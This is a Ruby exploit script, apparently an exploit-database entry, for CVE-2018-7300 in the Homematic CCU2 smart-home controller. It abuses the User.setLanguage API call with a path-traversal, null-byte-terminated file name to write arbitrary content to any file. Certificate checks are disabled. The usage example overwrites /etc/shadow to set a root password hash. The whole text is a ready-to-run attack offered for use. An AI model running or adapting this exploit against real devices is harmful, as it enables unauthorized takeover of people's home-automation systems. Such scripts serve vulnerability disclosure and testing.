81 lines
No EOL
2.2 KiB
Ruby
Executable file
81 lines
No EOL
2.2 KiB
Ruby
Executable file
#!/usr/bin/ruby
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# Exploit Title: Homematic CCU2 Arbitrary File Write
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# Date: 28-03-18
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# Exploit Author: Patrick Muench, Gregor Kopf
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# Vendor Homepage: http://www.eq-3.de
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# Software Link: http://www.eq-3.de/service/downloads.html?id=268
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# Version: 2.29.23
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# CVE : 2018-7300
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# Description: http://atomic111.github.io/article/homematic-ccu2-filewrite
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require 'net/http'
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require 'net/https'
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require 'uri'
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require 'json'
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unless ARGV.length == 3
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STDOUT.puts <<-EOF
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Please provide url
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Usage:
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write_files.rb <ip.adress> <file path> <content of the file>
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Example:
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write_files.rb https://192.168.1.1 '/etc/shadow' 'root:$1$DsoAgNYx$BSSQ9cLv0DLLknpqztgdd/:19087:0:99999:7:::'
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or
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write_files.rb http://192.168.1.1 '/etc/shadow' 'root:$1$DsoAgNYx$BSSQ9cLv0DLLknpqztgdd/:19087:0:99999:7:::'
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EOF
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exit
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end
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# The first argument specifiee the URL and if http or https is used
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url = ARGV[0] + "/api/homematic.cgi"
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# The second argument specifies the file into which the content should be written
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homematic_file_path = ARGV[1]
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# The third argument specifies the content of the file
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homematic_file_content = ARGV[2]
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# define the json body for the attack
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body = {
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"version": "1.1",
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"method": "User.setLanguage",
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"params": {
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"userName": "file path",
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"userLang": "file content"
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}
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}.to_hash
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# define the traversal with the file you want to write
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body[:params][:userName] = "../../../../../../../.." + homematic_file_path + "\u0000"
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# define the content
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body[:params][:userLang] = homematic_file_content
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# split the uri to access it in a easier way
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uri = URI.parse(url)
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# define target connection, disabling certificate verification
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Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https', :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|
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# define post request
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request = Net::HTTP::Post.new(uri.request_uri)
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# define the content type of the http request
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request.content_type = 'application/json'
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# define the request body
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request.body = body.to_json
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# send the request to the homematic ccu2
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response = http.request(request)
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# print response message code and status to cli
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puts 'Response code: ' + response.code + ' ' + response.message
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end |